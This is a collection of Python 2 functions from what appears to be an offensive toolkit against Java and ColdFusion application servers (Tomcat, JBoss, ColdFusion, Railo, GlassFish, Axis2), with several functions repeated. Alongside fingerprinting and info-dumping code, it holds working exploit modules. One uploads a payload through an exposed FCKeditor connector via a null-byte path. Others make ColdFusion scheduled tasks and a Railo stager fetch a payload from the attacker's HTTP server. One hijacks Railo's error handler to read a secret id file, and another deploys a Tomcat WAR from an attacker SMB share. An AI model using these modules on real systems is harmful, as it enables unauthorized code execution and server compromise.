def runLatter(self, fingerengine, fingerprint, smb_thread): """ """ base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) uri = "/manager/html/deploy" data = OrderedDict([ ("deployPath", "/asdf"), ("deployConfig", ""), ("deployWar", "file://{0}/asdf.war".format(utility.local_address())), ]) cookies = None nonce = None # probe for auth response = utility.requests_get(base + '/manager/html') if response.status_code == 401: utility.Msg( "Host %s:%s requires auth, checking.." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(base + '/manager/html', cookies=cookies[0], auth=cookies[1]) # get nonce nonce = findall("CSRF_NONCE=(.*?)\"", response.content) if len(nonce) > 0: nonce = nonce[0] # set new jsessionid cookies = (dict_from_cookiejar(response.cookies), cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) return if response.status_code == 200: try: # all setup, now invoke response = utility.requests_post(base + uri + \ '?org.apache.catalina.filters.CSRF_NONCE=%s' % nonce, data = data, cookies=cookies[0], auth=cookies[1]) except: # timeout pass while smb_thread.is_alive(): # spin... sleep(1)
def run(self, fingerengine, fingerprint): utility.Msg("Attempting to retrieve Tomcat info...") base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) relative = '/manager/serverinfo' if fingerprint.version in ["7.0", "8.0"]: relative = '/manager/text/serverinfo' url = base + relative response = utility.requests_get(url) if response.status_code == 401: utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: info = response.content.split('\n')[1:-1] for entry in info: utility.Msg(entry)
def check(self, ip, port = None): """ """ try: rport = self.port if port is None else port url = "http://{0}:{1}{2}".format(ip, rport, self.uri) response = utility.requests_get(url) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for %s, checking.." % (ip, rport, self.uri), LOG.DEBUG) cookies = checkAuth(ip, rport, self.title, self.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (ip, rport), LOG.ERROR) return False if response.status_code == 200: return True except exceptions.Timeout: utility.Msg("{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg("{0} connection error to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) return False
def run(self, fingerengine, fingerprint): utility.Msg("Attempting to retrieve Tomcat info...") base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) relative = '/manager/serverinfo' if fingerprint.version in ["7.0", "8.0"]: relative = '/manager/text/serverinfo' url = base + relative response = utility.requests_get(url) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: info = response.content.split('\n')[1:-1] for entry in info: utility.Msg(entry)
def check(self, ip, port = None): """ Because the version strings are different across a couple different versions, we parse it a little bit different. Pre-5.x versions are simple, as we match a pattern, whereas post-5.x versions require us to parse an HTML table for our value. """ re_match = False rport = self.port if port is None else port url = "http://{0}:{1}{2}".format(ip, rport, self.uri) try: request = utility.requests_get(url) # go check auth if request.status_code == 401: utility.Msg("Host %s:%s requires auth for JMX, checking..." % (ip, rport), LOG.DEBUG) cookies = authenticate.checkAuth(ip, rport, self.title, self.version) if cookies: request = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (ip, rport), LOG.ERROR) return False if request.status_code != 200: return False if self.version in ["3.0", "3.2"]: match = search("{0}.(.*?)\(".format(self.version), request.content) if match and len(match.groups()) > 0: re_match = True elif self.version in ["4.0", "4.2"]: match = search("{0}.(.*?)GA".format(self.version), request.content) if match and len(match.groups()) > 0: re_match = True elif self.version in ["5.0", "5.1", "6.0", "6.1"]: parser = TableParser() parser.feed(request.content) if parser.data and self.version in parser.data: re_match = True return re_match except exceptions.Timeout: utility.Msg("{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg("{0} connection error to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) return re_match
def check(self, ip, port=None): """ """ try: rport = self.port if port is None else port url = "http://{0}:{1}{2}".format(ip, rport, self.uri) response = utility.requests_get(url) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for %s, checking.." % (ip, rport, self.uri), LOG.DEBUG) cookies = checkAuth(ip, rport, self.title, self.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (ip, rport), LOG.ERROR) return False if response.status_code == 200: return True except exceptions.Timeout: utility.Msg("{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg("{0} connection error to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) return False
def check(self, ip, port = None): """ The version string for the web-console is pretty easy to parse out. """ try: rport = self.port if port is None else port url = "http://{0}:{1}{2}".format(ip, rport, self.uri) response = utility.requests_get(url) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for /web-console, checking.." % (ip, rport), LOG.DEBUG) cookies = authenticate.checkAuth(ip, rport, self.title, self.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (ip, rport), LOG.ERROR) return False if "Version: </b>{0}".format(self.version) in response.content: return True except exceptions.Timeout: utility.Msg("{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg("{0} connection error to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) return False
def check(self, ip, port = None): """ Because the version strings are different across a couple different versions, we parse it a little bit different. Pre-5.x versions are simple, as we match a pattern, whereas post-5.x versions require us to parse an HTML table for our value. """ re_match = False rport = self.port if port is None else port url = "http://{0}:{1}{2}".format(ip, rport, self.uri) try: request = utility.requests_get(url) # go check auth if request.status_code == 401: utility.Msg("Host %s:%s requires auth for JMX, checking..." % (ip, rport), LOG.DEBUG) cookies = authenticate.checkAuth(ip, rport, self.title, self.version) if cookies: request = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (ip, rport), LOG.ERROR) return False if request.status_code != 200: return False if self.version in ["3.0", "3.2"]: match = search("{0}.(.*?)\(".format(self.version), request.content) if match and len(match.groups()) > 0: re_match = True elif self.version in ["4.0", "4.2"]: match = search("{0}.(.*?)GA".format(self.version), request.content) if match and len(match.groups()) > 0: re_match = True elif self.version in ["5.0", "5.1", "6.0", "6.1"]: parser = TableParser() parser.feed(request.content) if parser.data and self.version in parser.data: re_match = True return re_match except exceptions.Timeout: utility.Msg("{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg("{0} connection error to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) return re_match
def check(self, ip, port = None): """ The version string for the web-console is pretty easy to parse out. """ try: rport = self.port if port is None else port url = "http://{0}:{1}{2}".format(ip, rport, self.uri) response = utility.requests_get(url) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for /web-console, checking.." % (ip, rport), LOG.DEBUG) cookies = authenticate.checkAuth(ip, rport, self.title, self.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (ip, rport), LOG.ERROR) return False if "Version: </b>{0}".format(self.version) in response.content: return True except exceptions.Timeout: utility.Msg("{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg("{0} connection error to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) return False
def make_request(method,host,port,ssl,url,data,cookies=None,allow_redirects=True): response = None if port == None and ssl: port = 443 if port == None and not ssl: port = 80 try: url = "{0}://{1}:{2}{3}".format("https" if ssl else "http", host, port,url) if method == 'GET': response = utility.requests_get(url,cookies=cookies) elif method == 'BASIC': response = utility.requests_get(url,cookies=cookies,auth=(data['username'],data['password'])) elif method == 'POST': response = utility.requests_post(url,data,cookies=cookies,allow_redirects=allow_redirects) elif method == 'HEAD': response = utility.requests_head(url,cookies=cookies) elif method == 'PUT': response = utility.requests_put(url,data,cookies=cookies) else: response = utility.requests_other(method,url,cookies=cookies) return response except exceptions.Timeout: utility.Msg("Timeout to {0}:{1}".format(host,port), 'DEBUG') except exceptions.ConnectionError, e: utility.Msg("Connection error to {0} ({1})".format(host,port, e),'DEBUG')
def run_task(ip, fingerprint, cfm_path): """ Invoke the task and wait for the remote server to fetch our file """ cfm_name = parse_war_path(cfm_path, True) # kick up the HTTP server server_thread = Thread(target=_serve, args=(cfm_path,)) server_thread.start() sleep(2) url = "http://{0}:{1}/CFIDE/administrator/scheduler/scheduletasks.cfm"\ .format(ip, fingerprint.port) (cookie, csrf) = fetch_csrf(ip, fingerprint, url) if fingerprint.version in ["9.0"]: uri = "?runtask={0}&timeout=0&csrftoken={1}".format(cfm_name, csrf) elif fingerprint.version in ["10.0"]: uri = "?runtask={0}&group=default&mode=server&csrftoken={1}".format(cfm_name, csrf) response = utility.requests_get(url + uri, cookies=cookie) if waitServe(server_thread): utility.Msg("{0} deployed to /CFIDE/{0}".format(cfm_name), LOG.SUCCESS) try: utility.requests_get("http://localhost:8000", timeout=1) except: pass
def run(self, fingerengine, fingerprint): """ Same concept as the JBoss module, except we actually invoke the deploy function. """ if getuid() > 0: utility.Msg("Root privs required for this module.", LOG.ERROR) return utility.Msg("Setting up SMB listener...") self._Listen = True thread = Thread(target=self.smb_listener) thread.start() utility.Msg("Invoking UNC deployer...") base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) if fingerprint.version in ["5.5"]: uri = '/manager/html/deploy?deployPath=/asdf&deployConfig=&'\ 'deployWar=file://{0}/asdf.war'.format(utility.local_address()) elif fingerprint.version in ["6.0", "7.0", "8.0"]: return self.runLatter(fingerengine, fingerprint, thread) else: utility.Msg("Unsupported Tomcat (v%s)" % fingerprint.version, LOG.ERROR) return url = base + uri response = utility.requests_get(url) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return while thread.is_alive(): # spin... sleep(1) if response.status_code != 200: utility.Msg("Unexpected response: HTTP %d" % response.status_code) self._Listen = False
def run(self, fingerengine, fingerprint): """ This runs the jboss.system:type=ServerInfo MBean to gather information about the host OS. JBoss 7.x uses the HTTP API instead to query for this info, which also happens to give us quite a bit more. """ utility.Msg("Attempting to retrieve JBoss info...") if fingerprint.version in ["7.0", "7.1", "8.0"]: # JBoss 7.x uses an HTTP API instead of jmx-console/ return self.run7(fingerengine, fingerprint) base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) uri = "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system"\ ":type=ServerInfo" url = base + uri response = utility.requests_get(url) if response.status_code == 401: utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: if fingerprint.version in ["3.0", "3.2"]: names = findall("<span class='aname'>(.*?)</span>", response.content.replace('\n',''))[1:] data = findall("<pre>(.*?)</pre>", response.content.replace('\n','')) for (key, value) in zip(names, data): utility.Msg("\t{0}: {1}".format(key, value)) elif fingerprint.version in ["4.0", "4.2"]: data = findall("<td>(.*?)</td>", response.content.replace('\n','')) for x in range(9, len(data)-9, 5): utility.Msg("\t{0}: {1}".format(data[x+1].lstrip().rstrip(), data[x+4].lstrip().rstrip())) elif fingerprint.version in ["5.0", "5.1", "6.0", "6.1"]: names = findall("<td class='param'>(.*?)</td>", response.content.replace('\n','')) data = findall("<pre>(.*?)</pre>", response.content.replace('\n','')) for (key, value) in zip(names, data): utility.Msg("\t{0}: {1}".format(key,value.rstrip('').lstrip())) else: utility.Msg("Version %s is not supported by this module." % fingerprint.version, LOG.ERROR)
def runLatter(self, fingerengine, fingerprint, smb_thread): """ """ base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) uri = "/manager/html/deploy" data = OrderedDict([ ("deployPath", "/asdf"), ("deployConfig", ""), ("deployWar", "file://{0}/asdf.war".format(utility.local_address())), ]) cookies = None nonce = None # probe for auth response = utility.requests_get(base + '/manager/html') if response.status_code == 401: utility.Msg("Host %s:%s requires auth, checking.." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(base + '/manager/html', cookies=cookies[0], auth=cookies[1]) # get nonce nonce = findall("CSRF_NONCE=(.*?)\"", response.content) if len(nonce) > 0: nonce = nonce[0] # set new jsessionid cookies = (dict_from_cookiejar(response.cookies), cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) return if response.status_code == 200: try: # all setup, now invoke response = utility.requests_post(base + uri + \ '?org.apache.catalina.filters.CSRF_NONCE=%s' % nonce, data = data, cookies=cookies[0], auth=cookies[1]) except: # timeout pass while smb_thread.is_alive(): # spin... sleep(1)
def run(self, fingerengine, fingerprint): """ Same concept as the JBoss module, except we actually invoke the deploy function. """ if getuid() > 0: utility.Msg("Root privs required for this module.", LOG.ERROR) return utility.Msg("Setting up SMB listener...") self._Listen = True thread = Thread(target=self.smb_listener) thread.start() utility.Msg("Invoking UNC deployer...") base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) if fingerprint.version in ["5.5"]: uri = '/manager/html/deploy?deployPath=/asdf&deployConfig=&'\ 'deployWar=file://{0}/asdf.war'.format(utility.local_address()) elif fingerprint.version in ["6.0", "7.0", "8.0"]: return self.runLatter(fingerengine, fingerprint, thread) else: utility.Msg("Unsupported Tomcat (v%s)" % fingerprint.version, LOG.ERROR) return url = base + uri response = utility.requests_get(url) if response.status_code == 401: utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return while thread.is_alive(): # spin... sleep(1) if response.status_code != 200: utility.Msg("Unexpected response: HTTP %d" % response.status_code) self._Listen = False
def run(self, fingerengine, fingerprint): """ Dump host OS info from a railo server """ utility.Msg("Attempting to retrieve Railo info...") base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = None if fingerprint.title is RINTERFACES.WEB: uri = '/railo-context/admin/web.cfm' elif fingerprint.title is RINTERFACES.SRV: uri = '/railo-context/admin/server.cfm' url = base + uri response = utility.requests_get(url) if response.status_code is 200 and 'login' in response.content: utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title) if cookie: response = utility.requests_get(url, cookies=cookie) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code is 200 and 'Overview' in response.content: (h, d) = self.fetchVersionRegex(fingerprint) headers = findall(h, response.content.translate(None, "\n\t\r")) data = findall(d, response.content.translate(None, "\n\t\r")) # do some version-specific trimming if fingerprint.version in ["4.1", '4.2']: headers = headers[4:] data = data[2:] elif fingerprint.version in ["3.0"]: headers = headers[:-6] data = data[:-6] elif fingerprint.version in ["3.3"]: headers = headers[:-7] data = data[:-7] for (th, td) in zip(headers, data): utility.Msg("\t%s: %s" % (th, td))
def run(self, fingerengine, fingerprint): """ Dump host OS info from a railo server """ utility.Msg("Attempting to retrieve Railo info...") base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = None if fingerprint.title is RINTERFACES.WEB: uri = '/railo-context/admin/web.cfm' elif fingerprint.title is RINTERFACES.SRV: uri = '/railo-context/admin/server.cfm' url = base + uri response = utility.requests_get(url) if response.status_code is 200 and 'login' in response.content: utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title) if cookie: response = utility.requests_get(url, cookies=cookie) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code is 200 and 'Overview' in response.content: (h, d) = self.fetchVersionRegex(fingerprint) headers = findall(h, response.content.translate(None, "\n\t\r")) data = findall(d, response.content.translate(None, "\n\t\r")) # do some version-specific trimming if fingerprint.version in ["4.1", '4.2']: headers = headers[4:] data = data[2:] elif fingerprint.version in ["3.0"]: headers = headers[:-6] data = data[:-6] elif fingerprint.version in ["3.3"]: headers = headers[:-7] data = data[:-7] for (th, td) in zip(headers, data): utility.Msg("\t%s: %s" % (th, td))
def run(self, fingerengine, fingerprint): """ """ utility.Msg("Obtaining deployed applications...") if fingerprint.version in ["5.0", "5.1", "6.0", "6.1"] and\ fingerprint.title == JINTERFACES.JMX: url = 'http://{0}:{1}/jmx-console/HtmlAdaptor?action='\ 'displayMBeans&filter=jboss.web.deployment'.format\ (fingerengine.options.ip, fingerprint.port) elif fingerprint.version in ["7.0", "7.1", '8.0']: return self.run7(fingerengine, fingerprint) elif fingerprint.title == JINTERFACES.JMX: url = 'http://{0}:{1}/jmx-console/'.format(fingerengine.options.ip, fingerprint.port) else: # unsupported interface utility.Msg("Interface %s version %s is not supported." % \ (fingerprint.title, fingerprint.version), LOG.DEBUG) return response = utility.requests_get(url) if response.status_code == 401: utility.Msg( 'Host %s:%s requires auth for JMX, checking...' % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: wars = findall("war=(.*?)</a>", response.content) if len(wars) > 0: for war in wars: utility.Msg("Deployment found: %s" % war) else: utility.Msg("No deployments found.")
def fetchCSRF(url, cookies): """ Fetch and return a tuple of the CSRF token and the refreshed session ID """ response = None try: csrf = None uri = '/manager/html' response = utility.requests_get(url + uri, cookies=cookies[0], auth=cookies[1]) if response.status_code == 200: data = findall('CSRF_NONCE=(.*?)\"', response.content) if len(data) > 0: csrf = data[0] except Exception as e: utility.Msg( "Failed to fetch CSRF token (HTTP %d)" % response.status_code, LOG.ERROR) csrf = None return (csrf, dict_from_cookiejar(response.cookies))
def run_task(ip, fingerprint, cfm_path, cookie): """ Invoke the task and wait for the server to fetch it """ success = False cfm_file = parse_war_path(cfm_path, True) # start up our listener server_thread = Thread(target=_serve, args=(cfm_path,)) server_thread.start() sleep(2) base = 'http://{0}:{1}'.format(ip, fingerprint.port) if fingerprint.version in ['5.0']: uri = '/CFIDE/administrator/scheduler/runtask.cfm?task=%s' % cfm_file else: uri = '/CFIDE/administrator/scheduler/scheduletasks.cfm?runtask=%s'\ % cfm_file response = utility.requests_get(base + uri, cookies=cookie) if waitServe(server_thread): if fingerprint.version in ['5.0']: out_diag = "{0} deployed to /{0}".format(cfm_file.replace('cfml','cfm')) else: out_diag = "{0} deployed to /CFIDE/{0}".format(cfm_file) utility.Msg(out_diag, LOG.SUCCESS) success = True killServe() return success
def fetch_webroot(ip, fingerprint): """ Grab web root from the info page """ global cookie _cookie = cookie url = "http://{0}:{1}/railo-context/admin/".format(ip, fingerprint.port) if fingerprint.version in ["3.0"]: url += "server.cfm" _cookie = checkAuth(ip, fingerprint.port, RINTERFACES.SRV) else: url += "web.cfm" response = utility.requests_get(url, cookies=_cookie) if response.status_code is 200: if fingerprint.version in ["3.0"]: data = findall("path1\" value=\"(.*?)\" ", response.content.translate(None, "\n\t\r")) elif fingerprint.version in ["3.3"]: data = findall("Webroot</td><td class=\"tblContent\">(.*?)</td>", response.content.translate(None, "\n\t\r")) else: data = findall("Webroot</th><td>(.*?)</td>", response.content.translate(None, "\n\t\r")) if len(data) > 0: return data[0]
def fetchId(base, path, cookie): """ Pretty simple two-step process to fetch the id: a) Set the error handler template to the id file b) Trigger an error c) restore handler """ # set error handler set_template = '/railo-context/admin/web.cfm?action=server.error' data = { 'errType500' : 'Select', 'errorTemplate_Select500' : '/railo-context/templates/error/error.cfm', # default 'errType404' : 'File', 'errorTemplate_File404' : '/railo-context/../id', 'doStatusCode' : 'yes', 'mainAction' : 'update' } response = utility.requests_post(base + set_template, data=data, cookies=cookie) if response.status_code is not 200: utility.Msg("Failed to set error handler (HTTP %d)" % response.status_code, LOG.ERROR) return None # trigger 404 and pull file response = utility.requests_get(base + '/railo-context/admin/xx.cfm') id = response.content # got the ID, restore handler data['errorTemplate_File404'] = '/railo-context/templates/error/error.cfm' response = utility.requests_post(base + set_template, data=data, cookies=cookie) return id
def deploy(fingerengine, fingerprint): """ Exploits the exposed FCKeditor in CF 8.x """ cfm_path = abspath(fingerengine.options.deploy) cfm_name = parse_war_path(cfm_path, True) dip = fingerengine.options.ip utility.Msg("Checking if FCKEditor is exposed...") url = "http://{0}:{1}".format(dip, fingerprint.port) uri = "/CFIDE/scripts/ajax/FCKeditor/editor/dialog/fck_about.html" response = utility.requests_get(url + uri) if response.status_code == 200 and "FCKeditor" in response.content: utility.Msg("FCKeditor exposed, attempting to write payload...") else: utility.Msg("FCKeditor doesn't seem to be exposed (HTTP %d)" % response.status_code) return try: payload = {"NewFile" : ("asdf.txt", open(cfm_path, "r").read())} except Exception as e: utility.Msg("Error reading file: %s" % e, LOG.ERROR) return uri = "/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm" uri += "?Command=FileUploads&Type=File&CurrentFolder=/{0}%00".format(cfm_name) response = utility.requests_post(url + uri, files=payload) if response.status_code == 200 and "OnUploadCompleted" in response.content: utility.Msg("Deployed. Access /userfiles/file/{0} for payload"\ .format(cfm_name), LOG.SUCCESS) else: utility.Msg("Could not write payload (HTTP %d)" % (response.status_code))
def fetch_webroot(ip, fingerprint): """ Grab web root from the info page """ global cookie _cookie = cookie url = "http://{0}:{1}/railo-context/admin/".format(ip, fingerprint.port) if fingerprint.version in ["3.0"]: url += "server.cfm" _cookie = checkAuth(ip, fingerprint.port, RINTERFACES.SRV) else: url += "web.cfm" response = utility.requests_get(url, cookies=_cookie) if response.status_code is 200: if fingerprint.version in ["3.0"]: data = findall("path1\" value=\"(.*?)\" ", response.content.translate(None, "\n\t\r")) elif fingerprint.version in ["3.3"]: data = findall("Webroot</td><td class=\"tblContent\">(.*?)</td>", response.content.translate(None, "\n\t\r")) else: data = findall("Webroot</th><td>(.*?)</td>", response.content.translate(None, "\n\t\r")) if len(data) > 0: return data[0]
def fetch_webroot(ip, fingerprint): """ Pick out the web root from the settings summary page """ url = "http://{0}:{1}/CFIDE/administrator/reports/index.cfm"\ .format(ip, fingerprint.port) cookies = checkAuth(ip, fingerprint.port, title, fingerprint.version) if cookies: req = utility.requests_get(url, cookies=cookies[0]) else: utility.Msg("Could not get auth for %s:%s" % (ip, fingerprint.port), LOG.ERROR) return False if req.status_code is 200: root_regex = "CFIDE </td><td scope=row class=\"cellRightAndBottomBlueSide\">(.*?)</td>" if fingerprint.version in ["7.0"]: root_regex = root_regex.replace("scope=row ", "") data = findall(root_regex, req.content.translate(None, "\n\t\r")) if len(data) > 0: return data[0].replace("\", "\\").replace(":", ":")[:-7] else: return False
def run_task(ip, fingerprint, cfm_path, cookie): """ Invoke the task and wait for the server to fetch it """ success = False cfm_file = parse_war_path(cfm_path, True) # start up our listener server_thread = Thread(target=_serve, args=(cfm_path, )) server_thread.start() sleep(2) base = 'http://{0}:{1}'.format(ip, fingerprint.port) if fingerprint.version in ['5.0']: uri = '/CFIDE/administrator/scheduler/runtask.cfm?task=%s' % cfm_file else: uri = '/CFIDE/administrator/scheduler/scheduletasks.cfm?runtask=%s'\ % cfm_file response = utility.requests_get(base + uri, cookies=cookie) if waitServe(server_thread): if fingerprint.version in ['5.0']: out_diag = "{0} deployed to /{0}".format( cfm_file.replace('cfml', 'cfm')) else: out_diag = "{0} deployed to /CFIDE/{0}".format(cfm_file) utility.Msg(out_diag, LOG.SUCCESS) success = True killServe() return success
def fetch_webroot(ip, fingerprint, cookie): """ Fetch the webroot for the CF server; this is where our payload is stashed """ base = "http://{0}:{1}".format(ip, fingerprint.port) if fingerprint.version in ['5.0']: uri = "/CFIDE/administrator/server_settings/mappings.cfm?mapname=/" else: uri = '/CFIDE/administrator/settings/mappings.cfm?mapname=/CFIDE' response = utility.requests_get(base + uri, cookies=cookie) if response.status_code == 200: if fingerprint.version in ['5.0']: data = findall("name=\"DirectoryPath\" value=\"(.*?)\"", response.content) if data and len(data) > 0: data = data[0] else: data = findall( "<td nowrap><font class=\"label\"> (.*?) ", response.content) if data and len(data) > 0: data = data[1] if data: return data
def run(self, fingerengine, fingerprint): """ """ utility.Msg("Obtaining deployed applications...") base = 'https://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = '/management/domain/applications/list-applications' headers = { "Accept" : "application/json" } cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title) if not cookie: utility.Msg("Could not get auth on %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if fingerprint.version in ['3.0']: base = base.replace('https', 'http') uri = '/management/domain/applications/application' return self._parse_old(base + uri, cookie) response = utility.requests_get(base+uri, auth=cookie, headers=headers) if response.status_code is 200: data = json.loads(response.content) if not 'properties' in data.keys(): utility.Msg("No applications found.") return utility.Msg("Discovered %d deployed apps" % len(data['properties'])) for entry in data['properties'].keys(): utility.Msg(' /%s' % entry)
def check(self, ip, port=None): """ Pull the specified URI down and compare the content hash against the defined hash. """ try: rport = self.port if port is None else port url = "{0}://{1}:{2}{3}".format("https" if "ssl" in dir(self) and self.ssl else "http", ip, rport, self.uri) response = utility.requests_get(url) utility.Msg("Fetching hash from {0}".format(response.url), LOG.DEBUG) if response.status_code == 200: hsh = md5(response.content).hexdigest() if type(self.hash) is list and hsh in self.hash: return True elif hsh == self.hash: return True except exceptions.Timeout: utility.Msg("{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg("{0} connection error to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) return False
def invoke(url, payload, os, version, pl_file): """ All we need to do is traverse up to the admin-ext-thumbnails directory and invoke our stager """ utility.Msg("Invoking stager and deploying payload...") fetchurl = "http://{0}:{1}/{2}".format(utility.local_address(), state.external_port, pl_file) # calculate file hash hsh = md5("%s-5000-5000" % fetchurl).hexdigest().upper() url = url.format(hsh) # fire up server server_thread = Thread(target=_serve, args=(payload,)) server_thread.start() sleep(2) r = utility.requests_get(url) if waitServe(server_thread): utility.Msg("{0} deployed at /railo-context/{0}".format( parse_war_path(payload,True)), LOG.SUCCESS) else: utility.Msg("Failed to deploy (HTTP %d)" % r.status_code, LOG.ERROR) killServe()
def run(self, fingerengine, fingerprint): """ """ utility.Msg("Obtaining deployed services...") base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = '/axis2/axis2-admin/listService' cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if not cookie: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port),LOG.ERROR) return response = utility.requests_get(base + uri, cookies=cookie) if response.status_code is 200: data = findall("\?wsdl\">(.*?)<", response.content) if len(data) > 0: for v in data: utility.Msg("\tService found: %s" % v) else: utility.Msg("No services found.")
